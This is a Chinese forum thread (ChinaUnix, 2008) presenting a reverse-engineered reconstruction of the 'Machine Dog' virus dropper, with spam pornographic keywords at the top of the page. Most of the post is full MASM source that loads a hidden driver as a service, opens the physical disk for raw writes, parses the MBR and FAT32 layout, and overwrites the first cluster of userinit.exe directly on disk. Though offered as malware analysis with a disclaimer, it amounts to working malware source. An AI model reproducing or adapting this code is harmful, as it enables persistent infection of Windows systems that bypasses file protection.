亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費(fèi)注冊 查看新帖 |

Chinaunix

  平臺 論壇 博客 文庫
最近訪問板塊 發(fā)新帖
查看: 21004 | 回復(fù): 2
打印 上一主題 下一主題

[C++] 逆向解毒機(jī)器狗 [復(fù)制鏈接]

論壇徽章:
0
跳轉(zhuǎn)到指定樓層
1 [收藏(0)] [報告]
發(fā)表于 2008-03-07 14:40 |只看該作者 |倒序?yàn)g覽
標(biāo) 題: 逆向解毒機(jī)器狗
作 者: xcode
網(wǎng) 站:http://edu.teamsourcing.com.cn
這兩天得到了一個機(jī)器狗的病毒樣本,周末閑來無事,便有了此篇文章。
該病毒的殼是一種壓縮殼,采用esp定律即可解決。由于不是本文重點(diǎn),因此在此不作討論。
該病毒主要包含兩部分,一部分是隱藏于exe資源中的驅(qū)動文件。另一部分就是exe本身。為了避免不法分子將代碼用于他途,在此只公開exe的逆向還原代碼。 代碼如下:
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc
includelib advapi32.lib
includelib user32.lib
includelib kernel32.lib
.data
Text            db '對不起,驅(qū)動程序的加載沒有成功,程序?qū)o法運(yùn)行.',0
FileName        db '\\.\PhysicalHardDisk0',0
a_Physicaldrive  db '\\.\PhysicalDrive0',0
aFCJ            db '分配內(nèi)存不成功',0
OutputString    db '操作成功', 0
Dst             db 10Ch dup(0)
hModule         dd 0
ERR1            db '尋址文件不成功',0  
ERR2            db '不支持的磁盤分區(qū)',0
ERR3            db '第一個分區(qū)不是啟動分區(qū)',0
ERR4            db '該文件是壓縮文件,不能操作',0
ERR5            db '獲取文件原始信息失敗',0
ERR6            db '打開文件失敗',0
ERR7            db '加載驅(qū)動失敗',0
.code
Src             db '%SystemRoot%\system32\drivers\pcihdd.sys',0
ServiceName     db 'PciHdd',0
;**********************************************************************************************
;退出服務(wù),并刪除文件
;**********************************************************************************************
QuitService proc
  LOCAL ServiceStatus
  LOCAL hSCObject
  LOCAL hSCManager
  LOCAL @FileName[100h]:byte
  
  
  push  0F003Fh    ; dwDesiredAccess
  push  0    ; lpDatabaseName
  push  0    ; lpMachineName
  call  OpenSCManagerA
  or  eax, eax
  jz  OpenSCManagerFail
  mov  hSCManager, eax
  
  push  0F01FFh    ; dwDesiredAccess
  push  offset ServiceName ; "ciHdd"
  push  hSCManager ; hSCManager
  call  OpenServiceA
  or  eax, eax
  jz  OpenServiceFail
  mov  hSCObject, eax
  lea  eax, ServiceStatus
  push  eax    ; lpServiceStatus
  push  1    ; dwControl
  push  hSCObject  ; hService
  call  ControlService
  
  push  hSCObject  ; hService
  call  DeleteService
  
  push  hSCObject  ; hSCObject
  call  CloseServiceHandle
  
OpenServiceFail:    ; hSCObject
  push  hSCManager
  call  CloseServiceHandle
  
OpenSCManagerFail:    ; nSize
  push  100h
  lea  eax, @FileName
  push  eax    ; lpDst
  push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
  call  ExpandEnvironmentStringsA
  
  lea  eax, @FileName
  push  eax    ; lpFileName
  call  DeleteFileA
  ret
QuitService endp
;**********************************************************************************************
;從資源中加載二進(jìn)制內(nèi)容寫入文件,并將文件寫入環(huán)境變量,然后啟動服務(wù),最后去掉環(huán)境變量,刪除文件
;**********************************************************************************************
LoadServiceFromRes proc  
  LOCAL ServiceStatus
  LOCAL hSCObject
  LOCAL hSCManager
  LOCAL nNumberOfBytesToWrite
  LOCAL lpBuffer
  LOCAL hResInfo
  LOCAL @FileName[110h]:byte
  LOCAL hObject
  LOCAL NumberOfBytesWritten
  
  push  3E9h    ; lpType
  push  3E9h    ; lpName
  push  hModule    ; hModule
  call  FindResourceA
  or  eax, eax
  jz  failed
  
  mov  hResInfo,  eax
  push  eax    ; hResInfo
  push  hModule    ; hModule
  call  SizeofResource
  mov  nNumberOfBytesToWrite, eax
  
  push  hResInfo  ; hResInfo
  push  hModule    ; hModule
  call  LoadResource
  or  eax, eax
  jz  failed
  
  push  eax    ; hResData
  call  LockResource
  or  eax, eax
  jz  failed
  mov  lpBuffer,  eax
  
failed:
  or  eax, eax
  jnz  CONTINUE
  jmp  Exit
  
CONTINUE:    ; nSize
  push  100h
  lea  eax, @FileName
  push  eax    ; lpDst
  push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
  call  ExpandEnvironmentStringsA
  
  push  0    ; hTemplateFile
  push  80h    ; dwFlagsAndAttributes
  push  4    ; dwCreationDisposition
  push  0    ; lpSecurityAttributes
  push  0    ; dwShareMode
  push  40000000h  ; dwDesiredAccess
  lea  eax, @FileName
  push  eax    ; lpFileName
  call  CreateFileA
  cmp  eax, 0FFFFFFFFh
  jnz  short CREATEFILEOK
  jmp  Exit
  
CREATEFILEOK:
  mov  hObject, eax
  push  0    ; lpOverlapped
  lea  eax, NumberOfBytesWritten
  push  eax    ; lpNumberOfBytesWritten
  push  nNumberOfBytesToWrite ; nNumberOfBytesToWrite
  push  lpBuffer  ; lpBuffer
  push  hObject   ; hFile
  call  WriteFile
  
  push  hObject          ; hFile
  call  SetEndOfFile
  
  push  hObject    ; hFile
  call  FlushFileBuffers
  push  hObject   ; hObject
  call  CloseHandle
         
  push  0F003Fh         ; dwDesiredAccess
  push  0    ; lpDatabaseName
  push  0    ; lpMachineName
  call  OpenSCManagerA
  or  eax, eax
  jz  OpenSCManagerFailed
  mov  hSCManager, eax
  
  push  0    ; lpPassword
  push  0    ; lpServiceStartName
  push  0    ; lpDependencies
  push  0    ; lpdwTagId
  push  0    ; lpLoadOrderGroup
  lea  eax, @FileName
  push  eax    ; lpBinaryPathName
  push  0    ; dwErrorControl
  push  3    ; dwStartType
  push  1    ; dwServiceType
  push  0    ; dwDesiredAccess
  push  offset ServiceName ; "ciHdd"
  push  offset ServiceName ; "ciHdd"
  push  hSCManager      ; hSCManager
  call  CreateServiceA
  or  eax, eax
  jz  CreateServiceFailed
  mov  hSCObject, eax
  push  hSCObject  ; hSCObject
  call  CloseServiceHandle
  jmp  OPENSERVICE
  
CreateServiceFailed:   
  push  0F01FFh            ; dwDesiredAccess
  push  offset ServiceName ; "ciHdd"
  push  hSCManager      ; hSCManager
  call  OpenServiceA
  or  eax, eax
  jz  short OpenServiceFailed
  mov  hSCObject, eax
  lea  eax, ServiceStatus
  push  eax    ; lpServiceStatus
  push  1    ; dwControl
  push  hSCObject  ; hService
  call  ControlService
  push  hSCObject  ; hService
  call  DeleteService
  push  hSCObject  ; hSCObject
  call  CloseServiceHandle
  
OpenServiceFailed:   
  push  0               ; lpPassword
  push  0    ; lpServiceStartName
  push  0    ; lpDependencies
  push  0    ; lpdwTagId
  push  0    ; lpLoadOrderGroup
  lea  eax, @FileName
  push  eax    ; lpBinaryPathName
  push  0    ; dwErrorControl
  push  3    ; dwStartType
  push  1    ; dwServiceType
  push  0    ; dwDesiredAccess
  push  offset ServiceName ; "ciHdd"
  push  offset ServiceName ; "ciHdd"
  push  hSCManager ; hSCManager
  call  CreateServiceA
  or  eax, eax
  jz  QUIT
  mov  hSCObject, eax
  push  hSCObject  ; hSCObject
  call  CloseServiceHandle
  jmp  OPENSERVICE
  
QUIT:
  jmp  Exit
  
OPENSERVICE:   
  push  10h                ; dwDesiredAccess
  push  offset ServiceName ; "ciHdd"
  push  hSCManager ; hSCManager
  call  OpenServiceA
  or  eax, eax
  jz  OPENSERVICEFAILED
  mov  hSCObject, eax
  push  0    ; lpServiceArgVectors
  push  0    ; dwNumServiceArgs
  push  hSCObject  ; hService
  call  StartServiceA
  or  eax, eax
  jnz  StartServiceOK
  jmp  Exit
  
StartServiceOK:    ; hSCObject
  push  hSCObject
  call  CloseServiceHandle
  push  hSCManager ; hSCObject
  call  CloseServiceHandle
  jmp  OpenSCManagerFailed
  
OPENSERVICEFAILED:   
  push  hSCManager
  call  CloseServiceHandle
  jmp  Exit
  
OpenSCManagerFailed:    ; nSize
  push  100h
  lea  eax, @FileName
  push  eax    ; lpDst
  push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
  call  ExpandEnvironmentStringsA
  lea  eax, @FileName
  push  eax    ; lpFileName
  call  DeleteFileA
  ret
  
Exit:   
  push  10h
  push  0    ; lpCaption
  push  offset Text  ; "出錯"
  push  0    ; hWnd
  call  MessageBoxA
  push  0    ; uExitCode
  call  ExitProcess
LoadServiceFromRes  endp
aSystemrootSyst  db '%SystemRoot%\System32\Userinit.exe',0
;***************************************************************************************************************
;簇是磁盤使用的基本單元。 組成一個簇的扇區(qū)數(shù)總是2的冪數(shù),當(dāng)卷被格式化時此數(shù)值是固定的。 此數(shù)值稱為簇要素,
;通常用字節(jié)引用,如8KB,2KB。 NTFS通過每件事的邏輯簇數(shù)來尋址。
;邏輯簇數(shù)(LCN):卷里的每個簇都給定了一個順序號,這是它的邏輯簇數(shù)。LCN0(零)指向卷的第一個簇(引導(dǎo)扇區(qū))。
;                用LCN乘以簇的大小就可以算出在卷里的物理偏移量。
;
;實(shí)際簇數(shù)(VCN):一個非常駐的流的每個簇都給定了一個順序號,這是它的實(shí)際簇數(shù)。VCN0(零)指向這個流的第一個簇。
;               要定位磁盤上的流,就必須把VCN轉(zhuǎn)換成LCN.這是在數(shù)據(jù)運(yùn)轉(zhuǎn)的幫助下完成的。
;
;數(shù)據(jù)運(yùn)轉(zhuǎn):每個LCN的連續(xù)模塊都被賦予了一個數(shù)據(jù)運(yùn)轉(zhuǎn),它包含一個VCN,一個LCN和一個長度。
;         當(dāng)NTFS需要在磁盤上找到一個對象時,就查看數(shù)據(jù)運(yùn)轉(zhuǎn)中的VCN來得到LCN。
;其他信息:
; 1)當(dāng)卷被格式化時可以選擇簇的大小。
; 2)一個卷的簇的大小存儲在$Boot里。也定義了此值在一個MFT文件記錄和一個索引記錄的簇里。
; 3)如果扇區(qū)數(shù)在用,NTFS通過引用簇數(shù)可以尋址更大的磁盤。
;下面是一個關(guān)于允許和默認(rèn)簇的大小的列表:
;Windows NT
;    512 bytes, 1KB, 2KB or 4KB
;Windows 2000, Windows XP
;   512 bytes, 1KB, 2KB, 4KB, 8KB, 16KB, 32KB or 64KB
;卷的大小   默認(rèn)的簇的大小
;< 512MB   Sector size
;< 1GB    1KB
;< 2GB    2KB
;> 2GB    4KB
;***************************************************************************************************************
DoMyWork proc  lpFileName   ;成功返回值為0
  
  LOCAL lpBuffer
  LOCAL nNumberOfBytesToWrite
  LOCAL hDevice
  LOCAL lDistanceToMove
  LOCAL HighOffset
  LOCAL dwLowPartofLcn
  LOCAL dwHighPartofLcn
  LOCAL StartSectorC
  LOCAL hFile
  LOCAL PhysicalBuff[512]:BYTE
  LOCAL Buffer[512]:BYTE
  LOCAL OutBuffer[272]:BYTE
  LOCAL dwRet
  LOCAL DistanceToMoveHighWORD
  LOCAL InBuffer[8]:BYTE
  LOCAL hObject
  
  pusha
  push  0    ; hTemplateFile
  push  0    ; dwFlagsAndAttributes
  push  3    ; dwCreationDisposition
  push  0    ; lpSecurityAttributes
  push  0    ; dwShareMode
  push  80000000h  ; dwDesiredAccess
  push  offset FileName  ; "[url=]\\\\.\\PhysicalHardDisk0[/url]" 是pcihdd.sys創(chuàng)建的符號鏈接
  call  CreateFileA
  cmp  eax, 0FFFFFFFFh
  jz  CreateFileFailed
  mov  hDevice, eax
  
  push  0    ; hTemplateFile
  push  20000000h  ; dwFlagsAndAttributes
  push  3    ; dwCreationDisposition
  push  0    ; lpSecurityAttributes
  push  3    ; dwShareMode
  push  80000000h  ; dwDesiredAccess
  push  lpFileName  ; 打開userinit.exe
  call  CreateFileA
  cmp  eax, 0FFFFFFFFh
  jz  CreateUserInitFileFailed
  mov  hObject, eax
  
        push    8
        lea     eax,InBuffer
        push    eax
        call    RtlZeroMemory
  
  push  110h            ;初始化
  lea  eax, OutBuffer
  push  eax
  call  RtlZeroMemory
  
  push  0    ; lpOverlapped
  lea  eax, DistanceToMoveHigh
  push  eax    ; lpBytesReturned
  push  110h    ; nOutBufferSize
  lea  eax, OutBuffer
  push  eax    ; lpOutBuffer
  push  8    ; nInBufferSize
  lea  eax, InBuffer
  push  eax    ; lpInBuffer
  push  90073h    ; dwIoControlCode = FSCTL_GET_RETRIEVAL_POINTERS
  push  hObject   ; hDevice
  call  DeviceIoControl ;通過FSCTL_GET_RETRIEVAL_POINTERS獲取userinit文件數(shù)據(jù)的分布信息
  or  eax, eax
  jz  DeviceIoControlFailed
  
;這個結(jié)構(gòu)是8字節(jié)對齊的,結(jié)構(gòu)長度32字節(jié)  
;typedef struct RETRIEVAL_POINTERS_BUFFER
;{
;    DWORD ExtentCount;
;    LARGE_INTEGER StartingVcn;
;    struct
;    {
;        LARGE_INTEGER NextVcn;
;        LARGE_INTEGER Lcn;
;    } Extents[1];
;} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;
;typedef union union
;{  
;   struct
;   {   
;       DWORD LowPart;   
;       LONG HighPart;  
;   };  
;   LONGLONG QuadPart;
;} LARGE_INTEGER, *PLARGE_INTEGER;
  
  lea  edi, OutBuffer    ;OutBuffer是上面結(jié)構(gòu)體指針
  mov  ebx, [edi]        ;ExtentCount = Extents數(shù)組元素個數(shù)
  lea  edi, [edi+10h]    ;指向Extents數(shù)組首地址,根據(jù)字節(jié)對齊
  mov  eax, DistanceToMoveHigh
  or  ebx, ebx          ;判斷ExtentCount是否為0
  jz  ExtentCountIsZero
  
  mov  eax, [edi+8]    ;指向Extents[0].Lcn.LowPart
  mov  edx, [edi+0Ch]  ;指向Extents[0].Lcn.HighPart
  cmp  eax, 0FFFFFFFFh
  jz  FEIHUA
  cmp  edx, 0FFFFFFFFh
  jz  FEIHUA
  
  mov  dwLowPartofLcn, eax  ;保存lcn低32位
  mov  dwHighPartofLcn, edx ;保存lcn高32位
  
  push  0    ; lpOverlapped
  lea  eax, DistanceToMoveHigh
  push  eax    ; lpNumberOfBytesRead
  push  200h    ; nNumberOfBytesToRead
  lea  eax, Buffer
  push  eax    ; lpBuffer
  push  hObject          ; hFile
  call  ReadFile        ;讀取userinit文件開頭512字節(jié)
  
  push  hObject          ; hObject
  call  CloseHandle     
  mov  hObject, 0      ;關(guān)閉文件
  
  push  0    ; hTemplateFile
  push  0    ; dwFlagsAndAttributes
  push  3    ; dwCreationDisposition
  push  0    ; lpSecurityAttributes
  push  3    ; dwShareMode
  push  0C0000000h  ; dwDesiredAccess
  push  offset a_Physicaldrive ; "[url=]\\\\.\\PhysicalDrive0[/url]"
  call  CreateFileA        ;打開物理硬盤讀寫
  cmp  eax, 0FFFFFFFFh
  jz  OPENPHYSICSFAILED
  mov  hFile, eax
  
  push  0    ; dwMoveMethod
  push  0    ; lpDistanceToMoveHigh
  push  0    ; lDistanceToMove
  push  hFile          ; hFile
  call  SetFilePointer  ; 定位
  
  push  0    ; lpOverlapped
  lea  eax, DistanceToMoveHigh
  push  eax    ; lpNumberOfBytesRead
  push  200h    ; nNumberOfBytesToRead
  lea  eax, PhysicalBuff
  push  eax    ; lpBuffer
  push  hFile          ; hFile
  call  ReadFile        ;讀取硬盤主引導(dǎo)分區(qū)MBR
;

論壇徽章:
0
2 [報告]
發(fā)表于 2008-03-07 14:41 |只看該作者
;  0000 |------------------------------------------------|
;            |                                                |
;            |                                                |
;            |             Master Boot Record                 |
;            |                                                |
;            |                                                |
;            |             主引導(dǎo)記錄(446字節(jié))                |
;            |                                                |
;            |                                                |
;            |                                                |
;      01BD  |                                                |
;      01BE  |------------------------------------------------|
;            |                                                |
;      01CD  |             分區(qū)信息  1(16字節(jié))                |
;      01CE  |------------------------------------------------|
;            |                                                |
;      01DD  |             分區(qū)信息  2(16字節(jié))                |
;      01DE  |------------------------------------------------|
;            |                                                |
;      01ED  |             分區(qū)信息  3(16字節(jié))                |
;      01EE  |------------------------------------------------|
;            |                                                |
;      01FD  |             分區(qū)信息  4(16字節(jié))                |
;            |------------------------------------------------|      
;            | 01FE                | 01FF                     |
;            |         55          |           AA             |
;            |------------------------------------------------|
;分區(qū)表
;
;    分區(qū)表是一個鏈表,主分區(qū)表是分區(qū)鏈表的第一個節(jié)點(diǎn)。由于主分區(qū)表中只能分四個分區(qū), 無法滿足需求, 因此設(shè)計了一種擴(kuò)展分區(qū)格式。擴(kuò)展分區(qū)就是分區(qū)表的第二個節(jié)點(diǎn)到最后一個節(jié)點(diǎn)。
;
;    主分區(qū)表是從主引導(dǎo)扇區(qū)第0x1BE字節(jié)開始的,共64個字節(jié),最后是0x55AA。64個字節(jié)的分區(qū)信息分為四組,每16字節(jié)為一組。每組的數(shù)據(jù)結(jié)構(gòu)是這樣的:
;
;typedef struct
;{
;    BYTE  byState;//分區(qū)狀態(tài), 0 = 未激活, 0x80 = 激活
;    BYTE  byBeginHead;//分區(qū)起始磁頭號
;    WORD  wBeginSC;//分區(qū)起始扇區(qū)和柱面號, 底字節(jié)的低6位為扇區(qū)號, 高2位為柱面號的第 9,10 位, 高字節(jié)為柱面號的低 8 位
;    BYTE  byFSID;  //分區(qū)類型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此項(xiàng)未用
;    BYTE  byEndHead;//分區(qū)結(jié)束磁頭號
;    WORD  wEndSC;//分區(qū)結(jié)束扇區(qū)和柱面號
;    DWORD dwInfoAreaSectors;//在線性尋址方式下的分區(qū)相對扇區(qū)地址
;    DWORD dwSectors;//分區(qū)大小 (總扇區(qū)數(shù))
;} INFOAREA_PARAM;//磁盤的分區(qū)信息

  lea  edi, PhysicalBuff
  cmp  byte ptr [edi+1BEh], 80h  ;byState判斷是否為活動分區(qū)
  jnz  NOTACTIVEDISK
  movzx  ebx, byte ptr [edi+1C2h]  ;byFSID判斷分區(qū)類型
  cmp  ebx, 0Bh
  jz  FAT32                     ;Win95 FAT32
  cmp  ebx, 0Ch
  jz  FAT32                     ;Win95 FAT32 LBA
  cmp  ebx, 7
  jnz  NTFS                      ;HPFS/NTFS
  
FAT32:
  mov  eax, [edi+1C6h]          ;C盤起始扇區(qū)(首扇區(qū)的相對扇區(qū)號)
  mov  StartSectorC, eax
  xor  edx, edx
  imul  eax, 200h                ;求出實(shí)際的字節(jié)偏移
  mov  DistanceToMoveHigh, edx
  mov  ecx, eax
  
  push  0    ; dwMoveMethod
  lea  eax, DistanceToMoveHigh
  push  eax    ; lpDistanceToMoveHigh
  push  ecx    ; lDistanceToMove
  push  hFile          ; hFile
  call  SetFilePointer   ;定位到硬盤C盤起始扇區(qū)的絕對位置
  
  push  0    ; lpOverlapped
  lea  eax, DistanceToMoveHigh
  push  eax    ; lpNumberOfBytesRead
  push  200h    ; nNumberOfBytesToRead
  lea  eax, PhysicalBuff
  push  eax    ; lpBuffer
  push  hFile  ; hFile
  call  ReadFile        ;讀硬盤C盤起始扇區(qū) 即:第一個分區(qū)的引導(dǎo)扇區(qū)BPB
  
  lea  edi, PhysicalBuff
  movzx  eax, word ptr [edi+0Eh]; BPB_RsvdSecCnt = 保留扇區(qū)數(shù)量
  add  StartSectorC, eax
  cmp  ebx, 0Bh               ;Win95 FAT32
  jz  WIN95FAT32
  cmp  ebx, 0Ch               ;Win95 FAT32 LBA
  jnz  short FAT32LBA
  
WIN95FAT32:
  movzx  ecx, byte ptr [edi+10h]; BPB_NumFATS = 每個分區(qū)占用的FAT表 數(shù)
  mov  eax, [edi+24h]         ; BPB_FATSz32 = 每個FAT占用扇區(qū)數(shù)
  xor  edx, edx
  imul  eax, ecx
  add  StartSectorC, eax      ;數(shù)據(jù)記錄起始扇區(qū)
  
FAT32LBA:
  mov  eax, dwLowPartofLcn
  mov  edx, dwHighPartofLcn
  movzx  ecx, byte ptr [edi+0Dh]   ;BPB_SecPerClus =  每簇多少扇區(qū)
  mov  nNumberOfBytesToWrite, ecx
  imul  eax, ecx
  add  eax, StartSectorC
  adc  edx, 0
  imul  eax, 200h             ;求出絕對偏移字節(jié)位置
  mov  HighOffset, edx       ;偏移高32位
  mov  lDistanceToMove, eax  ;低32位
  
  push  0    ; dwMoveMethod
  lea  eax, HighOffset
  push  eax    ; lpDistanceToMoveHigh
  push  lDistanceToMove ; lDistanceToMove
  push  hFile          ; hFile
  call  SetFilePointer
  
  push  0    ; lpOverlapped
  lea  eax, DistanceToMoveHigh
  push  eax    ; lpNumberOfBytesRead
  push  200h    ; nNumberOfBytesToRead
  lea  eax, PhysicalBuff
  push  eax    ; lpBuffer
  push  hFile    ; hFile
  call  ReadFile        ;在找到的硬盤扇區(qū)讀
  
  lea  edi, PhysicalBuff
  lea  esi, Buffer
  mov  ecx, 200h
  repe cmpsb              ;通過對比ReadFile讀取的文件數(shù)據(jù)和自己定位后直接讀取所得到的文件數(shù)據(jù),確定定位是否正確
  
  or  ecx, ecx
  jnz  DIFF           
  
  push  0    ; dwMoveMethod
  lea  eax, HighOffset
  push  eax    ; lpDistanceToMoveHigh
  push  lDistanceToMove ; lDistanceToMove
  push  hFile  ; hFile
  call  SetFilePointer  ;重新定位到上面找到的硬盤扇區(qū)處
  
  mov  eax, nNumberOfBytesToWrite
  shl  eax, 9                      ;這個值是作者估算的
  mov  nNumberOfBytesToWrite, eax
  
  push  nNumberOfBytesToWrite ; dwBytes
  push  40h          ; uFlags
  call  GlobalAlloc
  or  eax, eax
  jz  ALLOCMEMORYFAILED
  mov  lpBuffer,eax
  
  mov  ecx, offset MessageBoxA
  sub  ecx, offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
  
        ;把整個代碼體作為參數(shù)傳遞給pcihdd.sys,控制碼0xF0003C04,
  push  0    ; lpOverlapped
  lea  eax, DistanceToMoveHigh
  push  eax    ; lpBytesReturned
  push  nNumberOfBytesToWrite ; nOutBufferSize
  push  lpBuffer  ; lpOutBuffer
  push  ecx    ; nInBufferSize
  push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
  push  0F0003C04h  ; dwIoControlCode
  push  hDevice    ; hDevice
  call  DeviceIoControl
  
  ;并將pcihdd返回的數(shù)據(jù)直接寫入userinit.exe的第一簇
  push  0    ; lpOverlapped
  lea  eax, DistanceToMoveHigh
  push  eax    ; lpNumberOfBytesWritten
  push  nNumberOfBytesToWrite ; nNumberOfBytesToWrite
  push  lpBuffer  ; lpBuffer
  push  hFile    ; hFile
  call  WriteFile
  
  push  hFile  ; hFile
  call  FlushFileBuffers
  mov  dwRet, 0
  jmp  OVER
  
ALLOCMEMORYFAILED:
    ; "分配內(nèi)存不成功"
  mov  dwRet, offset aFCJ
  
OVER:      ; hMem
  push  lpBuffer
  call  GlobalFree
  jmp  FINISHED
  
DIFF:
  mov  dwRet, offset ERR1
  jmp  FINISHED
  
NTFS:
  mov  dwRet, offset ERR2
  jmp  FINISHED
  
NOTACTIVEDISK:  
  mov  dwRet, offset ERR3
  
FINISHED:    ; hObject
  push  hFile
  call  CloseHandle
  jmp  OPENPHYSICSFAILED
  
FEIHUA:
  mov  dwRet, offset ERR4
  
OPENPHYSICSFAILED: ;打開硬盤設(shè)備失敗
  jmp  ExtentCountIsZero
  
DeviceIoControlFailed:
  mov  dwRet, offset ERR5
  
ExtentCountIsZero:
  cmp  hObject, 0
  jz  ZeroObject
  push  hObject  ; hObject
  call  CloseHandle
  jmp  ZeroObject
  
CreateUserInitFileFailed:
  mov  dwRet, offset ERR6
  
ZeroObject:    ; hObject
  push  hDevice
  call  CloseHandle
  jmp  EXIT
  
CreateFileFailed:
  mov  dwRet, offset ERR7
  
EXIT:
  popa
  mov  eax, dwRet
  ret   
DoMyWork endp


start proc
  push  0    ; lpModuleName
  call  GetModuleHandleA
  mov  hModule, eax
  call  LoadServiceFromRes ;load service from resource
  
  push  100h    ; nSize
  push  offset Dst  ; lpDst
  push  offset aSystemrootSyst ; "%SystemRoot%\\System32\\Userinit.exe"
  call  ExpandEnvironmentStringsA
  
  push  offset Dst  ; lpFileName
  call  DoMyWork
  or  eax, eax
  jnz  FAILED
  push  offset OutputString ;
  call  OutputDebugStringA
  jmp  Exit
  
FAILED:    ; lpOutputString
  push  eax
  call  OutputDebugStringA
  
Exit:
  call  QuitService
  push  0    ; uExitCode
  call  ExitProcess
start endp

end start

聲明:
本文的目的純粹是一種技術(shù)交流,使用本文所演示的技術(shù)所造成的一切影響都與本人無關(guān).

更多精彩內(nèi)容,關(guān)注網(wǎng)站:http://edu.teamsourcing.com.cn

論壇徽章:
0
3 [報告]
發(fā)表于 2024-03-24 09:50 |只看該作者
提示: 作者被禁止或刪除 內(nèi)容自動屏蔽
您需要登錄后才可以回帖 登錄 | 注冊

本版積分規(guī)則 發(fā)表回復(fù)

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報專區(qū)
中國互聯(lián)網(wǎng)協(xié)會會員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP